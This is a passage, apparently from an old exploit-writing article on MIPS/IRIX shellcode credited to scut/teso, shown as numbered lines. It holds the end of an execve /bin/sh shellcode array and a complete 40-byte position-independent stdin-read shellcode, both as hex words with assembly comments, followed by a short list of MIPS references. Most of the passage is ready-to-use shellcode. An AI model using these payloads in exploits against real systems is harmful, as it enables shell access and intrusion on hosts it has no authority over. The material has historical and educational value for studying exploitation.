| 628 | 0xafa4fff8, /* sw $a0, -8($sp) */ | ||
| 629 | 0x27a5fff8, /* addiu $a1, $sp, -8 */ | ||
| 630 | 0x24020423, /* li $v0, 1059 (execve) */ | ||
| 631 | 0x0101010c, /* syscall */ | ||
| 632 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 633 | 0x2f62696e, /* .ascii "/bin" */ | ||
| 634 | 0x2f736842, /* .ascii "/sh", .byte 0xdummy */ | ||
| 635 | }; | ||
| 636 | |||
| 637 | == read | ||
| 638 | |||
| 639 | /* 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso | ||
| 640 | */ | ||
| 641 | unsigned long int shellcode[] = { | ||
| 642 | 0x24048cb0, /* li $a0, -0x7350 */ | ||
| 643 | /* dpatch: */ 0x0490ffff, /* bltzal $a0, dpatch */ | ||
| 644 | 0x2804ffff, /* slti $a0, $zero, -1 */ | ||
| 645 | 0x240fffe3, /* li $t7, -29 */ | ||
| 646 | 0x01e07827, /* nor $t7, $t7, $zero */ | ||
| 647 | 0x03ef2821, /* addu $a1, $ra, $t7 */ | ||
| 648 | 0x24060201, /* li $a2, 0x0201 (513 bytes) */ | ||
| 649 | 0x240203eb, /* li $v0, SYS_read */ | ||
| 650 | 0x0101010c, /* syscall */ | ||
| 651 | 0x24187350, /* li $t8, 0x7350 (nop) */ | ||
| 652 | }; | ||
| 653 | |||
| 654 | |||
| 655 | References | ||
| 656 | ========== | ||
| 657 | |||
| 658 | For further information you may want to consult this excellent references: | ||
| 659 | |||
| 660 | [1] See MIPS Run | ||
| 661 | Dominic Sweetman, Morgan Kaufmann Publishers | ||
| 662 | ISBN 1-55860-410-3 | ||
| 663 | |||
| 664 | [2] MIPSPro Assembly Language Programmer's Guide - Volume 1/2 | ||
| 665 | Document Number 007-2418-001 | ||
| 666 | http://www.mips.com/ and http://www.sgi.com/ | ||
| 667 | |||
| 668 | =============================================================================== | ||
| 669 | |||
